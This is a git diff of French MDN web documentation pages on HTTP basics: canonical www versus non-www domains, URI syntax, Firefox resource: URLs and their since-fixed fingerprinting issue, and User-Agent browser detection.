Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.

+ +

Que sont les noms de domaines ?

+ +

Dans une URL HTTP, la première chaîne qui suit le schéma http:// ou https:// est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.

+ +

Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, un nom de domaine représente un seul serveur.

+ +

Donc je dois choisir l'un ou l'autre pour mon site web ?

+ +
    +
  • Oui, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).
    • +
  • Non, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. Ce domaine est appelé le nom de domaine canonique. L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.
    • +
+ +

Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.

+ +

Techniques pour les URLs canoniques

+ +

Il existe différentes manières de choisir le site web qui sera le site canonique.

+ +

Utiliser la redirection via HTTP 301

+ +

Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.

+ +

Exemple :

+ +
    +
  1. Un serveur reçoit une requête pour https://www.exemple.org/kadoc (tandis que le domaine canonique est constitué par exemple.org)
    2. +
  2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}: https://exemple.org/kadoc.
    3. +
  3. Le client émet une requête pour le domaine canonique : https://exemple.org/kadoc
    4. +
+ +

Le projet HTML5 boilerplate contient un exemple sur la configuration d'un serveur Apache afin de rediriger un domaine vers un autre.

+ + + +

Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.

+ +

Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent https://www.exemple.org/kadoc contiendrait le même contenu que https://exemple.org/kadoc, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :

+ +

< link href="https://exemple.org/kadoc" rel="canonical">

+ +

À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.

+ +

Adapter votre page aux deux cas

+ +

Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.

+ +

Choisir www ou non

+ +

Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire de nombreux articles sur ce sujet.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html b/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html deleted file mode 100644 index 0265a81829..0000000000 --- a/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Identifier des ressources sur le Web -slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web -tags: - - HTTP -translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web ---- -
{{HTTPSidebar}}
- -

La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une Uniform Resource Identifier ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.

- -

L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (Uniform Resource Locator° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.

- -

URLs et URNs

- -

URLs

- -

La forme la plus commune des URI est l'URL (Uniform Resource Locator ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.

- -
https://developer.mozilla.org
-https://developer.mozilla.org/fr/docs/Learn/
-https://developer.mozilla.org/fr/search?q=URL
- -

Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).

- -

Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -

URNs

- -

Une URN ou Uniform Resource Name est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.

- -
urn:isbn:9780141036144
-urn:ietf:rfc:7230
-
- -

Ces deux URNs correspondent :

- -
    -
  • au livre 1984 de George Orwell,
    • -
  • La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
    • -
- -

Syntaxe des URIs (Uniform Resource Identifiers)

- -

Schéma ou protocole

- -
-
Protocole
-
http:// constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que mailto: (pour ouvrir un client mail) or ftp: pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SchémaDescription
dataURIs de données
fileFichiers du système hôte sur lequel est installé le navigateur
ftpFile Transfer Protocol
http/httpsHyper text transfer protocol (sécurisé)
mailtoAdresse électronique
sshSecure shell
teltéléphone
urnUniform Resource Names
view-sourcecode source de la ressource
ws/wssconnexions (chiffrées) WebSocket
- -

Autorité

- -
-
Nom de domaine
-
www.exemple.com est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.
-
- -

Port

- -
-
Port
-
:80 constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.
-
- -

Chemin

- -
-
Chemin d'accès au fichier
-
/chemin/du/fichier.html constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..
-
- -

Requête

- -
-
Paramètre
-
?key1=value1&key2=value2 sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole &. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.
-
- -

Fragment

- -
-
Ancre
-
#QuelquePartDansLeDocument est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.
-
- -

Exemples

- -
https://developer.mozilla.org/en-US/docs/Learn
-tel:+1-816-555-1212
-git@github.com:mdn/browser-compat-data.git
-ftp://example.org/resource.txt
-urn:isbn:9780141036144
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html new file mode 100644 index 0000000000..0265a81829 --- /dev/null +++ b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -0,0 +1,169 @@ +--- +title: Identifier des ressources sur le Web +slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web +tags: + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +
{{HTTPSidebar}}
+ +

La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une Uniform Resource Identifier ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.

+ +

L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (Uniform Resource Locator° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.

+ +

URLs et URNs

+ +

URLs

+ +

La forme la plus commune des URI est l'URL (Uniform Resource Locator ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/fr/docs/Learn/
+https://developer.mozilla.org/fr/search?q=URL
+ +

Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).

+ +

Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +

URNs

+ +

Une URN ou Uniform Resource Name est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.

+ +
urn:isbn:9780141036144
+urn:ietf:rfc:7230
+
+ +

Ces deux URNs correspondent :

+ +
    +
  • au livre 1984 de George Orwell,
    • +
  • La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
    • +
+ +

Syntaxe des URIs (Uniform Resource Identifiers)

+ +

Schéma ou protocole

+ +
+
Protocole
+
http:// constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que mailto: (pour ouvrir un client mail) or ftp: pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SchémaDescription
dataURIs de données
fileFichiers du système hôte sur lequel est installé le navigateur
ftpFile Transfer Protocol
http/httpsHyper text transfer protocol (sécurisé)
mailtoAdresse électronique
sshSecure shell
teltéléphone
urnUniform Resource Names
view-sourcecode source de la ressource
ws/wssconnexions (chiffrées) WebSocket
+ +

Autorité

+ +
+
Nom de domaine
+
www.exemple.com est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.
+
+ +

Port

+ +
+
Port
+
:80 constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.
+
+ +

Chemin

+ +
+
Chemin d'accès au fichier
+
/chemin/du/fichier.html constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..
+
+ +

Requête

+ +
+
Paramètre
+
?key1=value1&key2=value2 sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole &. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.
+
+ +

Fragment

+ +
+
Ancre
+
#QuelquePartDansLeDocument est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.
+
+ +

Exemples

+ +
https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/resource_urls/index.html b/files/fr/web/http/basics_of_http/resource_urls/index.html new file mode 100644 index 0000000000..4f38214e57 --- /dev/null +++ b/files/fr/web/http/basics_of_http/resource_urls/index.html @@ -0,0 +1,67 @@ +--- +title: URLs de type ressource +slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource +tags: + - Guide + - HTTP + - Intermédiaire + - Ressource +translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs +--- +
{{HTTPSidebar}}
+ +

Les URLs de type ressource sont les URLs préfixées à l'aide du schéma resource:. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.

+ +

Syntaxe

+ +

Les URLs de type ressource sont composées de deux parties, un préfixe (resource:) et l'URL qui dirige vers la ressource que l'on souhaite charger :

+ +
resource://<url>
+ +

Voici un exemple :

+ +
resource://gre/res/svg.css
+ +

Pour plus de détails, vous pouvez consulter Identifier des ressources sur le Web.

+ +

Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.

+ +

Menaces

+ +

Étant donné que les informations partagées par les URLs resource: sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.

+ +

Par exemple, ce script sur Browserleaks détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse https://browserleaks.com/firefox#more.

+ +

Le fichier firefox.js passe les noms des préférences et leurs valeurs à la fonction pref().

+ +

Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction pref() et en utilisant le script resource:///defaults/preferences/firefox.js.

+ +

De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.

+ +

Solution

+ +

Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).

+ +

Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI resource:, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.

+ +

Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à viewsource.css via une URI resource: est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous resource://content-accessible/, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.

+ +
+

Note : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.

+
+ +

Spécifications

+ +

resource: n'est pas défini dans une spécification RFC.

+ +

Compatibilité des navigateurs

+ +

resource: est disponible uniquement dans Firefox.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html b/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html deleted file mode 100644 index 4f38214e57..0000000000 --- a/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: URLs de type ressource -slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource -tags: - - Guide - - HTTP - - Intermédiaire - - Ressource -translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs ---- -
{{HTTPSidebar}}
- -

Les URLs de type ressource sont les URLs préfixées à l'aide du schéma resource:. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.

- -

Syntaxe

- -

Les URLs de type ressource sont composées de deux parties, un préfixe (resource:) et l'URL qui dirige vers la ressource que l'on souhaite charger :

- -
resource://<url>
- -

Voici un exemple :

- -
resource://gre/res/svg.css
- -

Pour plus de détails, vous pouvez consulter Identifier des ressources sur le Web.

- -

Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.

- -

Menaces

- -

Étant donné que les informations partagées par les URLs resource: sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.

- -

Par exemple, ce script sur Browserleaks détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse https://browserleaks.com/firefox#more.

- -

Le fichier firefox.js passe les noms des préférences et leurs valeurs à la fonction pref().

- -

Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction pref() et en utilisant le script resource:///defaults/preferences/firefox.js.

- -

De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.

- -

Solution

- -

Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).

- -

Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI resource:, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.

- -

Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à viewsource.css via une URI resource: est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous resource://content-accessible/, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.

- -
-

Note : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.

-
- -

Spécifications

- -

resource: n'est pas défini dans une spécification RFC.

- -

Compatibilité des navigateurs

- -

resource: est disponible uniquement dans Firefox.

- -

Voir aussi

- - diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.html b/files/fr/web/http/browser_detection_using_the_user_agent/index.html new file mode 100644 index 0000000000..bd7a98de65 --- /dev/null +++ b/files/fr/web/http/browser_detection_using_the_user_agent/index.html @@ -0,0 +1,239 @@ +--- +title: Détection du navigateur à l'aide du User-Agent +slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent +tags: + - Compatibilité + - Développement Web +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +
{{HTTPSidebar}}
+ +

Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.

+ +

Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.

+ +
+

Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !

+
+ +

A prendre en compte avant d'identifier le navigateur

+ +

Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier pourquoi vous souhaitez le faire.

+ +
+
Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?
+
Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (Mozilla, WebKit, Opera). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.
+
Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?
+
Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.
+
+ +
+
Voulez-vous servir un code HTML différent selon le navigateur utilisé ?
+
Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?
+
+ +

Éviter de détecter l'agent utilisateur

+ +

Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.

+ +
+
Détection de fonctionnalités
+
La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.
+
Amélioration progressive
+
Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.
+
Dégradation élégante
+
Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.
+
+ +

Où se trouve l'information recherchée dans le User-Agent

+ +

C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.

+ +

Nom du navigateur

+ +

Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.

+ +

La plupart des navigateurs notent leur nom et version suivant le format NomDuNavigateur/NuméroDeVersion, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.

+ +

Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Doit contenirNe doit pas contenir 
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyzSafari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz
Opera +

OPR/xyz [1]

+ +

Opera/xyz [2]

+ 		  +

[1]  Opera 15+ (moteur de rendu Blink) 

+ +

[2] Opera 12- (moteur de rendu Presto)

+
Internet Explorer;MSIE xyz; Internet Explorer n'utilise pas le format NomDuNavigateur/NuméroDeVersion
+ +

Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).

+ +

Version du navigateur

+ +

La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur NomDuNavigateur/NuméroDeVersion dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section Version/NuméroDeVersion.

+ +

Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.

+ +

Moteur de rendu

+ +

Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.

+ +

Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 Doit contenir 
GeckoGecko/xyz 
WebKitAppleWebKit/xyzAttention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs
PrestoOpera/xyzNote : Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")
TridentTrident/xyzInternet Explorer place cette chaîne dans la partie commentaire du User-Agent
BlinkChrome/xyz 
+ +

Version du moteur de rendu

+ +

La plupart des moteurs de rendu placent leur numéro de version dans la section MoteurDeRendu/NuméroDeVersion, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne rv:. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section Gecko/version (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").

+ +

Système d'Exploitation

+ +

